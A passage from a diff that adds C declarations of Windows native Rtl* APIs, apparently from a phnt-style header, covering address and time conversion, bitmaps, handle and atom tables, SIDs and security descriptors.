_WIN64 +#define RtlIntPtrToUnicodeString(Value, Base, String) RtlInt64ToUnicodeString(Value, Base, String) +#else +#define RtlIntPtrToUnicodeString(Value, Base, String) RtlIntegerToUnicodeString(Value, Base, String) +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToInteger( + _In_ PUNICODE_STRING String, + _In_opt_ ULONG Base, + _Out_ PULONG Value + ); + +// IPv4/6 conversion + +struct in_addr; +struct in6_addr; + +NTSYSAPI +PWSTR +NTAPI +RtlIpv4AddressToStringW( + _In_ const struct in_addr *Address, + _Out_writes_(16) PWSTR AddressString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIpv4AddressToStringExW( + _In_ const struct in_addr *Address, + _In_ USHORT Port, + _Out_writes_to_(*AddressStringLength, *AddressStringLength) PWSTR AddressString, + _Inout_ PULONG AddressStringLength + ); + +NTSYSAPI +PWSTR +NTAPI +RtlIpv6AddressToStringW( + _In_ const struct in6_addr *Address, + _Out_writes_(46) PWSTR AddressString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIpv6AddressToStringExW( + _In_ const struct in6_addr *Address, + _In_ ULONG ScopeId, + _In_ USHORT Port, + _Out_writes_to_(*AddressStringLength, *AddressStringLength) PWSTR AddressString, + _Inout_ PULONG AddressStringLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIpv4StringToAddressW( + _In_ PCWSTR AddressString, + _In_ BOOLEAN Strict, + _Out_ LPCWSTR *Terminator, + _Out_ struct in_addr *Address + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIpv4StringToAddressExW( + _In_ PCWSTR AddressString, + _In_ BOOLEAN Strict, + _Out_ struct in_addr *Address, + _Out_ PUSHORT Port + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIpv6StringToAddressW( + _In_ PCWSTR AddressString, + _Out_ PCWSTR *Terminator, + _Out_ struct in6_addr *Address + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIpv6StringToAddressExW( + _In_ PCWSTR AddressString, + _Out_ struct in6_addr *Address, + _Out_ PULONG ScopeId, + _Out_ PUSHORT Port + ); + +#define RtlIpv4AddressToString RtlIpv4AddressToStringW +#define RtlIpv4AddressToStringEx RtlIpv4AddressToStringExW +#define RtlIpv6AddressToString RtlIpv6AddressToStringW +#define RtlIpv6AddressToStringEx RtlIpv6AddressToStringExW +#define RtlIpv4StringToAddress RtlIpv4StringToAddressW +#define RtlIpv4StringToAddressEx RtlIpv4StringToAddressExW +#define RtlIpv6StringToAddress RtlIpv6StringToAddressW +#define RtlIpv6StringToAddressEx RtlIpv6StringToAddressExW + +// Time + +typedef struct _TIME_FIELDS +{ + CSHORT Year; // 1601... + CSHORT Month; // 1..12 + CSHORT Day; // 1..31 + CSHORT Hour; // 0..23 + CSHORT Minute; // 0..59 + CSHORT Second; // 0..59 + CSHORT Milliseconds; // 0..999 + CSHORT Weekday; // 0..6 = Sunday..Saturday +} TIME_FIELDS, *PTIME_FIELDS; + +NTSYSAPI +BOOLEAN +NTAPI +RtlCutoverTimeToSystemTime( + _In_ PTIME_FIELDS CutoverTime, + _Out_ PLARGE_INTEGER SystemTime, + _In_ PLARGE_INTEGER CurrentSystemTime, + _In_ BOOLEAN ThisYear + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSystemTimeToLocalTime( + _In_ PLARGE_INTEGER SystemTime, + _Out_ PLARGE_INTEGER LocalTime + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLocalTimeToSystemTime( + _In_ PLARGE_INTEGER LocalTime, + _Out_ PLARGE_INTEGER SystemTime + ); + +NTSYSAPI +VOID +NTAPI +RtlTimeToElapsedTimeFields( + _In_ PLARGE_INTEGER Time, + _Out_ PTIME_FIELDS TimeFields + ); + +NTSYSAPI +VOID +NTAPI +RtlTimeToTimeFields( + _In_ PLARGE_INTEGER Time, + _Out_ PTIME_FIELDS TimeFields + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlTimeFieldsToTime( + _In_ PTIME_FIELDS TimeFields, // Weekday is ignored + _Out_ PLARGE_INTEGER Time + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlTimeToSecondsSince1980( + _In_ PLARGE_INTEGER Time, + _Out_ PULONG ElapsedSeconds + ); + +NTSYSAPI +VOID +NTAPI +RtlSecondsSince1980ToTime( + _In_ ULONG ElapsedSeconds, + _Out_ PLARGE_INTEGER Time + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlTimeToSecondsSince1970( + _In_ PLARGE_INTEGER Time, + _Out_ PULONG ElapsedSeconds + ); + +NTSYSAPI +VOID +NTAPI +RtlSecondsSince1970ToTime( + _In_ ULONG ElapsedSeconds, + _Out_ PLARGE_INTEGER Time + ); + +// Time zones + +typedef struct _RTL_TIME_ZONE_INFORMATION +{ + LONG Bias; + WCHAR StandardName[32]; + TIME_FIELDS StandardStart; + LONG StandardBias; + WCHAR DaylightName[32]; + TIME_FIELDS DaylightStart; + LONG DaylightBias; +} RTL_TIME_ZONE_INFORMATION, *PRTL_TIME_ZONE_INFORMATION; + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryTimeZoneInformation( + _Out_ PRTL_TIME_ZONE_INFORMATION TimeZoneInformation + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetTimeZoneInformation( + _In_ PRTL_TIME_ZONE_INFORMATION TimeZoneInformation + ); + +// Bitmaps + +typedef struct _RTL_BITMAP +{ + ULONG SizeOfBitMap; + PULONG Buffer; +} RTL_BITMAP, *PRTL_BITMAP; + +NTSYSAPI +VOID +NTAPI +RtlInitializeBitMap( + _Out_ PRTL_BITMAP BitMapHeader, + _In_ PULONG BitMapBuffer, + _In_ ULONG SizeOfBitMap + ); + +#if (PHNT_MODE == PHNT_MODE_KERNEL || PHNT_VERSION >= PHNT_WIN8) +NTSYSAPI +VOID +NTAPI +RtlClearBit( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(<, BitMapHeader->SizeOfBitMap) ULONG BitNumber + ); +#endif + +#if (PHNT_MODE == PHNT_MODE_KERNEL || PHNT_VERSION >= PHNT_WIN8) +NTSYSAPI +VOID +NTAPI +RtlSetBit( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(<, BitMapHeader->SizeOfBitMap) ULONG BitNumber + ); +#endif + +_Check_return_ +NTSYSAPI +BOOLEAN +NTAPI +RtlTestBit( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(<, BitMapHeader->SizeOfBitMap) ULONG BitNumber + ); + +NTSYSAPI +VOID +NTAPI +RtlClearAllBits( + _In_ PRTL_BITMAP BitMapHeader + ); + +NTSYSAPI +VOID +NTAPI +RtlSetAllBits( + _In_ PRTL_BITMAP BitMapHeader + ); + +_Success_(return != -1) +_Check_return_ +NTSYSAPI +ULONG +NTAPI +RtlFindClearBits( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG NumberToFind, + _In_ ULONG HintIndex + ); + +_Success_(return != -1) +_Check_return_ +NTSYSAPI +ULONG +NTAPI +RtlFindSetBits( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG NumberToFind, + _In_ ULONG HintIndex + ); + +_Success_(return != -1) +NTSYSAPI +ULONG +NTAPI +RtlFindClearBitsAndSet( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG NumberToFind, + _In_ ULONG HintIndex + ); + +_Success_(return != -1) +NTSYSAPI +ULONG +NTAPI +RtlFindSetBitsAndClear( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG NumberToFind, + _In_ ULONG HintIndex + ); + +NTSYSAPI +VOID +NTAPI +RtlClearBits( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(0, BitMapHeader->SizeOfBitMap - NumberToClear) ULONG StartingIndex, + _In_range_(0, BitMapHeader->SizeOfBitMap - StartingIndex) ULONG NumberToClear + ); + +NTSYSAPI +VOID +NTAPI +RtlSetBits( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(0, BitMapHeader->SizeOfBitMap - NumberToSet) ULONG StartingIndex, + _In_range_(0, BitMapHeader->SizeOfBitMap - StartingIndex) ULONG NumberToSet + ); + +NTSYSAPI +CCHAR +NTAPI +RtlFindMostSignificantBit( + _In_ ULONGLONG Set + ); + +NTSYSAPI +CCHAR +NTAPI +RtlFindLeastSignificantBit( + _In_ ULONGLONG Set + ); + +typedef struct _RTL_BITMAP_RUN +{ + ULONG StartingIndex; + ULONG NumberOfBits; +} RTL_BITMAP_RUN, *PRTL_BITMAP_RUN; + +NTSYSAPI +ULONG +NTAPI +RtlFindClearRuns( + _In_ PRTL_BITMAP BitMapHeader, + _Out_writes_to_(SizeOfRunArray, return) PRTL_BITMAP_RUN RunArray, + _In_range_(>, 0) ULONG SizeOfRunArray, + _In_ BOOLEAN LocateLongestRuns + ); + +NTSYSAPI +ULONG +NTAPI +RtlFindLongestRunClear( + _In_ PRTL_BITMAP BitMapHeader, + _Out_ PULONG StartingIndex + ); + +NTSYSAPI +ULONG +NTAPI +RtlFindFirstRunClear( + _In_ PRTL_BITMAP BitMapHeader, + _Out_ PULONG StartingIndex + ); + +_Check_return_ +FORCEINLINE +BOOLEAN +RtlCheckBit( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(<, BitMapHeader->SizeOfBitMap) ULONG BitPosition + ) +{ +#ifdef _WIN64 + return BitTest64((LONG64 const *)BitMapHeader->Buffer, (LONG64)BitPosition); +#else + return (((PLONG)BitMapHeader->Buffer)[BitPosition / 32] >> (BitPosition % 32)) & 0x1; +#endif +} + +NTSYSAPI +ULONG +NTAPI +RtlNumberOfClearBits( + _In_ PRTL_BITMAP BitMapHeader + ); + +NTSYSAPI +ULONG +NTAPI +RtlNumberOfSetBits( + _In_ PRTL_BITMAP BitMapHeader + ); + +_Check_return_ +NTSYSAPI +BOOLEAN +NTAPI +RtlAreBitsClear( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG StartingIndex, + _In_ ULONG Length + ); + +_Check_return_ +NTSYSAPI +BOOLEAN +NTAPI +RtlAreBitsSet( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG StartingIndex, + _In_ ULONG Length + ); + +NTSYSAPI +ULONG +NTAPI +RtlFindNextForwardRunClear( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG FromIndex, + _Out_ PULONG StartingRunIndex + ); + +NTSYSAPI +ULONG +NTAPI +RtlFindLastBackwardRunClear( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG FromIndex, + _Out_ PULONG StartingRunIndex + ); + +#if (PHNT_VERSION >= PHNT_VISTA) + +NTSYSAPI +ULONG +NTAPI +RtlNumberOfSetBitsUlongPtr( + _In_ ULONG_PTR Target + ); + +#endif + +#if (PHNT_VERSION >= PHNT_WIN7) + +// rev +NTSYSAPI +VOID +NTAPI +RtlInterlockedClearBitRun( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(0, BitMapHeader->SizeOfBitMap - NumberToClear) ULONG StartingIndex, + _In_range_(0, BitMapHeader->SizeOfBitMap - StartingIndex) ULONG NumberToClear + ); + +// rev +NTSYSAPI +VOID +NTAPI +RtlInterlockedSetBitRun( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(0, BitMapHeader->SizeOfBitMap - NumberToSet) ULONG StartingIndex, + _In_range_(0, BitMapHeader->SizeOfBitMap - StartingIndex) ULONG NumberToSet + ); + +#endif + +#if (PHNT_VERSION >= PHNT_WIN8) + +NTSYSAPI +VOID +NTAPI +RtlCopyBitMap( + _In_ PRTL_BITMAP Source, + _In_ PRTL_BITMAP Destination, + _In_range_(0, Destination->SizeOfBitMap - 1) ULONG TargetBit + ); + +NTSYSAPI +VOID +NTAPI +RtlExtractBitMap( + _In_ PRTL_BITMAP Source, + _In_ PRTL_BITMAP Destination, + _In_range_(0, Source->SizeOfBitMap - 1) ULONG TargetBit, + _In_range_(0, Source->SizeOfBitMap) ULONG NumberOfBits + ); + +NTSYSAPI +ULONG +NTAPI +RtlNumberOfClearBitsInRange( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG StartingIndex, + _In_ ULONG Length + ); + +NTSYSAPI +ULONG +NTAPI +RtlNumberOfSetBitsInRange( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG StartingIndex, + _In_ ULONG Length + ); + +#endif + + +#if (PHNT_VERSION >= PHNT_THRESHOLD) + +// private +typedef struct _RTL_BITMAP_EX +{ + ULONG64 SizeOfBitMap; + PULONG64 Buffer; +} RTL_BITMAP_EX, *PRTL_BITMAP_EX; + +// rev +NTSYSAPI +VOID +NTAPI +RtlInitializeBitMapEx( + _Out_ PRTL_BITMAP_EX BitMapHeader, + _In_ PULONG64 BitMapBuffer, + _In_ ULONG64 SizeOfBitMap + ); + +// rev +_Check_return_ +NTSYSAPI +BOOLEAN +NTAPI +RtlTestBitEx( + _In_ PRTL_BITMAP_EX BitMapHeader, + _In_range_(<, BitMapHeader->SizeOfBitMap) ULONG64 BitNumber + ); + +#if (PHNT_MODE == PHNT_MODE_KERNEL) +// rev +NTSYSAPI +VOID +NTAPI +RtlClearAllBitsEx( + _In_ PRTL_BITMAP_EX BitMapHeader + ); + +// rev +NTSYSAPI +VOID +NTAPI +RtlClearBitEx( + _In_ PRTL_BITMAP_EX BitMapHeader, + _In_range_(<, BitMapHeader->SizeOfBitMap) ULONG64 BitNumber + ); + +// rev +NTSYSAPI +VOID +NTAPI +RtlSetBitEx( + _In_ PRTL_BITMAP_EX BitMapHeader, + _In_range_(<, BitMapHeader->SizeOfBitMap) ULONG64 BitNumber + ); + +// rev +NTSYSAPI +ULONG64 +NTAPI +RtlFindSetBitsEx( + _In_ PRTL_BITMAP_EX BitMapHeader, + _In_ ULONG64 NumberToFind, + _In_ ULONG64 HintIndex + ); + +NTSYSAPI +ULONG64 +NTAPI +RtlFindSetBitsAndClearEx( + _In_ PRTL_BITMAP_EX BitMapHeader, + _In_ ULONG64 NumberToFind, + _In_ ULONG64 HintIndex + ); +#endif + +#endif + +// Handle tables + +typedef struct _RTL_HANDLE_TABLE_ENTRY +{ + union + { + ULONG Flags; // allocated entries have the low bit set + struct _RTL_HANDLE_TABLE_ENTRY *NextFree; + }; +} RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY; + +#define RTL_HANDLE_ALLOCATED (USHORT)0x0001 + +typedef struct _RTL_HANDLE_TABLE +{ + ULONG MaximumNumberOfHandles; + ULONG SizeOfHandleTableEntry; + ULONG Reserved[2]; + PRTL_HANDLE_TABLE_ENTRY FreeHandles; + PRTL_HANDLE_TABLE_ENTRY CommittedHandles; + PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles; + PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles; +} RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE; + +NTSYSAPI +VOID +NTAPI +RtlInitializeHandleTable( + _In_ ULONG MaximumNumberOfHandles, + _In_ ULONG SizeOfHandleTableEntry, + _Out_ PRTL_HANDLE_TABLE HandleTable + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyHandleTable( + _Inout_ PRTL_HANDLE_TABLE HandleTable + ); + +NTSYSAPI +PRTL_HANDLE_TABLE_ENTRY +NTAPI +RtlAllocateHandle( + _In_ PRTL_HANDLE_TABLE HandleTable, + _Out_opt_ PULONG HandleIndex + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlFreeHandle( + _In_ PRTL_HANDLE_TABLE HandleTable, + _In_ PRTL_HANDLE_TABLE_ENTRY Handle + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsValidHandle( + _In_ PRTL_HANDLE_TABLE HandleTable, + _In_ PRTL_HANDLE_TABLE_ENTRY Handle + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsValidIndexHandle( + _In_ PRTL_HANDLE_TABLE HandleTable, + _In_ ULONG HandleIndex, + _Out_ PRTL_HANDLE_TABLE_ENTRY *Handle + ); + +// Atom tables + +#define RTL_ATOM_MAXIMUM_INTEGER_ATOM (RTL_ATOM)0xc000 +#define RTL_ATOM_INVALID_ATOM (RTL_ATOM)0x0000 +#define RTL_ATOM_TABLE_DEFAULT_NUMBER_OF_BUCKETS 37 +#define RTL_ATOM_MAXIMUM_NAME_LENGTH 255 +#define RTL_ATOM_PINNED 0x01 + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateAtomTable( + _In_ ULONG NumberOfBuckets, + _Out_ PVOID *AtomTableHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyAtomTable( + _In_ _Post_invalid_ PVOID AtomTableHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlEmptyAtomTable( + _In_ PVOID AtomTableHandle, + _In_ BOOLEAN IncludePinnedAtoms + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAtomToAtomTable( + _In_ PVOID AtomTableHandle, + _In_ PWSTR AtomName, + _Inout_opt_ PRTL_ATOM Atom + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLookupAtomInAtomTable( + _In_ PVOID AtomTableHandle, + _In_ PWSTR AtomName, + _Out_opt_ PRTL_ATOM Atom + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteAtomFromAtomTable( + _In_ PVOID AtomTableHandle, + _In_ RTL_ATOM Atom + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlPinAtomInAtomTable( + _In_ PVOID AtomTableHandle, + _In_ RTL_ATOM Atom + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryAtomInAtomTable( + _In_ PVOID AtomTableHandle, + _In_ RTL_ATOM Atom, + _Out_opt_ PULONG AtomUsage, + _Out_opt_ PULONG AtomFlags, + _Inout_updates_bytes_to_opt_(*AtomNameLength, *AtomNameLength) PWSTR AtomName, + _Inout_opt_ PULONG AtomNameLength + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlGetIntegerAtom( + _In_ PWSTR AtomName, + _Out_opt_ PUSHORT IntegerAtom + ); +#endif + +// SIDs + +_Check_return_ +NTSYSAPI +BOOLEAN +NTAPI +RtlValidSid( + _In_ PSID Sid + ); + +_Check_return_ +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualSid( + _In_ PSID Sid1, + _In_ PSID Sid2 + ); + +_Check_return_ +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualPrefixSid( + _In_ PSID Sid1, + _In_ PSID Sid2 + ); + +NTSYSAPI +ULONG +NTAPI +RtlLengthRequiredSid( + _In_ ULONG SubAuthorityCount + ); + +NTSYSAPI +PVOID +NTAPI +RtlFreeSid( + _In_ _Post_invalid_ PSID Sid + ); + +_Check_return_ +NTSYSAPI +NTSTATUS +NTAPI +RtlAllocateAndInitializeSid( + _In_ PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + _In_ UCHAR SubAuthorityCount, + _In_ ULONG SubAuthority0, + _In_ ULONG SubAuthority1, + _In_ ULONG SubAuthority2, + _In_ ULONG SubAuthority3, + _In_ ULONG SubAuthority4, + _In_ ULONG SubAuthority5, + _In_ ULONG SubAuthority6, + _In_ ULONG SubAuthority7, + _Outptr_ PSID *Sid + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeSid( + _Out_ PSID Sid, + _In_ PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + _In_ UCHAR SubAuthorityCount + ); + +#if (PHNT_VERSION >= PHNT_THRESHOLD) +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeSidEx( + _Out_writes_bytes_(SECURITY_SID_SIZE(SubAuthorityCount)) PSID Sid, + _In_ PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + _In_ UCHAR SubAuthorityCount, + ... + ); +#endif + +NTSYSAPI +PSID_IDENTIFIER_AUTHORITY +NTAPI +RtlIdentifierAuthoritySid( + _In_ PSID Sid + ); + +NTSYSAPI +PULONG +NTAPI +RtlSubAuthoritySid( + _In_ PSID Sid, + _In_ ULONG SubAuthority + ); + +NTSYSAPI +PUCHAR +NTAPI +RtlSubAuthorityCountSid( + _In_ PSID Sid + ); + +NTSYSAPI +ULONG +NTAPI +RtlLengthSid( + _In_ PSID Sid + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCopySid( + _In_ ULONG DestinationSidLength, + _In_reads_bytes_(DestinationSidLength) PSID DestinationSid, + _In_ PSID SourceSid + ); + +// ros +NTSYSAPI +NTSTATUS +NTAPI +RtlCopySidAndAttributesArray( + _In_ ULONG Count, + _In_ PSID_AND_ATTRIBUTES Src, + _In_ ULONG SidAreaSize, + _In_ PSID_AND_ATTRIBUTES Dest, + _In_ PSID SidArea, + _Out_ PSID *RemainingSidArea, + _Out_ PULONG RemainingSidAreaSize + ); + +#if (PHNT_VERSION >= PHNT_VISTA) + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateServiceSid( + _In_ PUNICODE_STRING ServiceName, + _Out_writes_bytes_opt_(*ServiceSidLength) PSID ServiceSid, + _Inout_ PULONG ServiceSidLength + ); + +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSidDominates( + _In_ PSID Sid1, + _In_ PSID Sid2, + _Out_ PBOOLEAN Dominates + ); + +#endif + +#if (PHNT_VERSION >= PHNT_WINBLUE) + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSidDominatesForTrust( + _In_ PSID Sid1, + _In_ PSID Sid2, + _Out_ PBOOLEAN DominatesTrust // TokenProcessTrustLevel + ); + +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSidEqualLevel( + _In_ PSID Sid1, + _In_ PSID Sid2, + _Out_ PBOOLEAN EqualLevel + ); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSidIsHigherLevel( + _In_ PSID Sid1, + _In_ PSID Sid2, + _Out_ PBOOLEAN HigherLevel + ); +#endif + +#if (PHNT_VERSION >= PHNT_WIN7) +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateVirtualAccountSid( + _In_ PUNICODE_STRING Name, + _In_ ULONG BaseSubAuthority, + _Out_writes_bytes_(*SidLength) PSID Sid, + _Inout_ PULONG SidLength + ); +#endif + +#if (PHNT_VERSION >= PHNT_WIN7) +NTSYSAPI +NTSTATUS +NTAPI +RtlReplaceSidInSd( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ PSID OldSid, + _In_ PSID NewSid, + _Out_ ULONG *NumChanges + ); +#endif + +#define MAX_UNICODE_STACK_BUFFER_LENGTH 256 + +NTSYSAPI +NTSTATUS +NTAPI +RtlLengthSidAsUnicodeString( + _In_ PSID Sid, + _Out_ PULONG StringLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlConvertSidToUnicodeString( + _Inout_ PUNICODE_STRING UnicodeString, + _In_ PSID Sid, + _In_ BOOLEAN AllocateDestinationString + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSidHashInitialize( + _In_reads_(SidCount) PSID_AND_ATTRIBUTES SidAttr, + _In_ ULONG SidCount, + _Out_ PSID_AND_ATTRIBUTES_HASH SidAttrHash + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +PSID_AND_ATTRIBUTES +NTAPI +RtlSidHashLookup( + _In_ PSID_AND_ATTRIBUTES_HASH SidAttrHash, + _In_ PSID Sid + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsElevatedRid( + _In_ PSID_AND_ATTRIBUTES SidAttr + ); +#endif + +#if (PHNT_VERSION >= PHNT_REDSTONE2) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlDeriveCapabilitySidsFromName( + _Inout_ PUNICODE_STRING UnicodeString, + _Out_ PSID CapabilityGroupSid, + _Out_ PSID CapabilitySid + ); +#endif + +// Security Descriptors + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateSecurityDescriptor( + _Out_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ULONG Revision + ); + +_Check_return_ +NTSYSAPI +BOOLEAN +NTAPI +RtlValidSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +NTSYSAPI +ULONG +NTAPI +RtlLengthSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +_Check_return_ +NTSYSAPI +BOOLEAN +NTAPI +RtlValidRelativeSecurityDescriptor( + _In_reads_bytes_(SecurityDescriptorLength) PSECURITY_DESCRIPTOR SecurityDescriptorInput, + _In_ ULONG SecurityDescriptorLength, + _In_ SECURITY_INFORMATION RequiredInformation + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetControlSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSECURITY_DESCRIPTOR_CONTROL Control, + _Out_ PULONG Revision + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetControlSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ SECURITY_DESCRIPTOR_CONTROL ControlBitsOfInterest, + _In_ SECURITY_DESCRIPTOR_CONTROL ControlBitsToSet + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetAttributesSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ SECURITY_DESCRIPTOR_CONTROL Control, + _Out_ PULONG Revision + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlGetSecurityDescriptorRMControl( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PUCHAR RMControl + ); + +NTSYSAPI +VOID +NTAPI +RtlSetSecurityDescriptorRMControl( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PUCHAR RMControl + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetDaclSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ BOOLEAN DaclPresent, + _In_opt_ PACL Dacl, + _In_opt_ BOOLEAN DaclDefaulted + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetDaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN DaclPresent, + _Out_ PACL *Dacl, + _Out_ PBOOLEAN DaclDefaulted + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetSaclSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ BOOLEAN SaclPresent, + _In_opt_ PACL Sacl, + _In_opt_ BOOLEAN SaclDefaulted + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetSaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN SaclPresent, + _Out_ PACL *Sacl, + _Out_ PBOOLEAN SaclDefaulted + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetSaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN SaclPresent, + _Out_ PACL *Sacl, + _Out_ PBOOLEAN SaclDefaulted + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetOwnerSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID Owner, + _In_opt_ BOOLEAN OwnerDefaulted + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetOwnerSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSID *Owner, + _Out_ PBOOLEAN OwnerDefaulted + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetGroupSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID Group, + _In_opt_ BOOLEAN GroupDefaulted + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetGroupSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSID *Group, + _Out_ PBOOLEAN GroupDefaulted + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlMakeSelfRelativeSD( + _In_ PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + _Out_writes_bytes_(*BufferLength) PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + _Inout_ PULONG BufferLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAbsoluteToSelfRelativeSD( + _In_ PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + _Out_writes_bytes_to_opt_(*BufferLength, *BufferLength) PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + _Inout_ PULONG BufferLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSelfRelativeToAbsoluteSD( + _In_ PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + _Out_writes_bytes_to_opt_(*AbsoluteSecurityDescriptorSize, *AbsoluteSecurityDescriptorSize) PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + _Inout_ PULONG AbsoluteSecurityDescriptorSize, + _Out_writes_bytes_to_opt_(*DaclSize, *DaclSize) PACL Dacl, + _Inout_ PULONG DaclSize, + _Out_writes_bytes_to_opt_(*SaclSize, *SaclSize) PACL Sacl, + _Inout_ PULONG SaclSize, + _Out_writes_bytes_to_opt_(*OwnerSize, *OwnerSize) PSID Owner, + _Inout_ PULONG OwnerSize, + _Out_writes_bytes_to_opt_(*PrimaryGroupSize, *PrimaryGroupSize) PSID PrimaryGroup, + _Inout_ PULONG PrimaryGroupSize + ); + +// 